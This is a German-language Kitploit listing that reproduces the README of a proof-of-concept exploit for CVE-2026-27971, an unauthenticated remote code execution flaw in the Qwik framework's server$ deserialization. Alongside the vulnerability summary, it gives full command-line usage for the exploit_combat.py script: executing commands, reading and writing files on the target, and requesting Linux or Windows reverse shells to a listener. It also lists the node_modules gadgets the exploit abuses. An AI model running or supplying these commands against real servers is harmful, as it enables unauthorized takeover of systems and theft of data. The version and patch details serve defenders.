Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik rce | Kitploit
Tools/GitHubGitHub/ghalendar/cve-2026-27971_poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik rce

Repository anzeigen
15vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-27971 — Qwik server$ Nicht authentifizierter RCE-PoC

[!WARNING] Dieses Repository enthält einen aktiven Proof-of-Concept für Remote-Code-Ausführung. Verwenden Sie ihn nur gegen Systeme, die Ihnen gehören oder für deren Test Sie ausdrücklich autorisiert sind. Der Autor übernimmt keine Verantwortung für unbefugte Nutzung oder Schäden.

Ein eigenständiger Python-Proof-of-Concept für CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, eine nicht authentifizierte Remote-Code-Ausführungs-Schwachstelle im Qwik server$ RPC-Deserialisierungsmechanismus.

Der PoC kann eine aktive Marker-Probe durchführen, Befehle ausführen, Textdateien lesen oder schreiben und eine Reverse Shell auf Linux- oder Windows-Zielen anfordern. Es verwendet nur die Python-Standardbibliothek.

Zusammenfassung der Schwachstelle

FeldWert
ProduktQwik — npm-Paket @builder.io/qwik
Betroffene Versionen<= 1.19.0
Patch-Version1.19.1
SchwachstelleNicht authentifizierte Remote-Code-Ausführung durch unsichere server$-Deserialisierung
Laufzeitbedingungrequire() muss zur Laufzeit verfügbar sein
CWECWE-502 — Deserialization of Untrusted Data
SchweregradKritisch — CVSS 4.0: 9.2
VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Eine manipulierte application/qwik-json-Anfrage kann auf ein serverseitiges Modul und ein exportiertes Symbol verweisen. Anfällige Qwik-Versionen können eine nicht registrierte QRL durch Laufzeit-require() auflösen und ohne Authentifizierung aufrufen. Dieser PoC versucht, ein kompatibles Export für die Prozessausführung zu erreichen, das bereits im node_modules des Ziels vorhanden ist.

Voraussetzungen

Betreiber:

  • Python 3.
  • Netzwerkzugriff auf die genaue Qwik-Route, die die server$/Qwik-JSON-Anfrage verarbeitet.
  • Ein vom Ziel erreichbarer Listener beim Testen der Reverse-Shell-Funktionalität.

Ziel:

  • Ein anfälliges Qwik-Deployment mit @builder.io/qwik <= 1.19.0.
  • Eine Laufzeit, in der require() verfügbar ist.
  • Ein kompatibles Gadget-Modul und Export, auf das in node_modules zugegriffen werden kann.
  • node im PATH des Dienstprozesses verfügbar.
  • Ausreichende Berechtigungen des Dienstkontos für die angeforderte Befehls- oder Dateioperation.

Es werden keine Python-Pakete von Drittanbietern benötigt.

Schnellstart

git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

Listet die eingebauten Gadgets ohne Senden einer Anfrage auf:

python3 exploit_combat.py --list-gadgets

Führen Sie eine aktive Marker-Probe durch und testen Sie jedes eingebaute Gadget:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe ist keine passive Versionserkennung. Es versucht eine Remote-Code-Ausführung und bestätigt sie durch Ausgabe eines Markers aus dem Zielprozess.

Anwendungsbeispiele

Führen Sie einen Befehl aus:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

Lesen Sie eine UTF-8-Textdatei:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

Schreiben und überprüfen Sie eine UTF-8-Textdatei:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

Fordern Sie eine Reverse-Shell an, nachdem Sie einen persistenten Listener gestartet haben:

nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

Erzwingen Sie das Windows-Reverse-Shell-Payload, wenn die automatische OS-Erkennung ungeeignet ist:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

Das Skript startet keinen Listener. Der --callback-Vorprüf öffnet und schließt eine separate TCP-Verbindung, bevor das Shell-Payload gesendet wird, verwenden Sie daher einen Listener, der mehr als eine Verbindung akzeptieren kann.

CLI-Referenz

OptionBeschreibung
-t URL, --target URLExakte Ziel-URL. Standard: http://localhost:3000. Die Route wird nicht automatisch ermittelt.
--probeFührt aktiv ein Marker-Payload aus und versucht eine Betriebssystemerkennung.
-c CMD, --CMD CMDFührt einen Befehl über Node.js child_process.execSync() aus.
--read PATHLiest eine UTF-8-Textdatei mit fs.readFileSync().
--write PATH --content TEXTSchreibt eine Textdatei, liest sie zurück und vergleicht das Ergebnis. Übergeordnete Verzeichnisse werden nicht erstellt.
--list-gadgetsGibt die Namen der eingebauten Gadgets aus und beendet ohne Netzwerkanfrage.
--lhost IPAktiviert den Reverse-Shell-Modus und setzt die Callback-Adresse.
--lport PORTSetzt den Callback-Port. Standard: 4444.
--rev-allSendet jede Reverse-Shell-Variante anstatt nach der ersten akzeptierten HTTP-Anfrage zu stoppen.
--callbackTestet die ausgehende TCP-Erreichbarkeit vor dem Senden eines Reverse-Shell-Payloads.
--OS {auto,linux,windows}Wählt die Reverse-Shell-Payload-Familie aus. Standard: auto.
--gadget SPECVerwenden Sie auto, einen eingebauten Namen oder ein benutzerdefiniertes <module>#<symbol>. Standard: cross-spawn.sync.
--arg-style {argv,command,shell}Argumentstil für ein benutzerdefiniertes <module>#<symbol>-Gadget.
--timeout SECONDSClient-seitiger HTTP-Timeout. Standard: 30.
--verify-sslAktiviert die TLS-Zertifikats- und Hostnamen-Überprüfung. Die Überprüfung ist standardmäßig deaktiviert.

Die Aktionsmodi schließen sich im Parser nicht gegenseitig aus. Verwenden Sie pro Aufruf einen von --probe, --CMD, --read, --write oder --lhost.

Eingebaute Gadgets

NameModul und ExportStyle
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell

--gadget auto testet diese Gadgets in der aufgeführten Reihenfolge. Ein benutzerdefiniertes Gadget kann wie folgt angegeben werden:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

Wichtige Einschränkungen

Tool herunterladen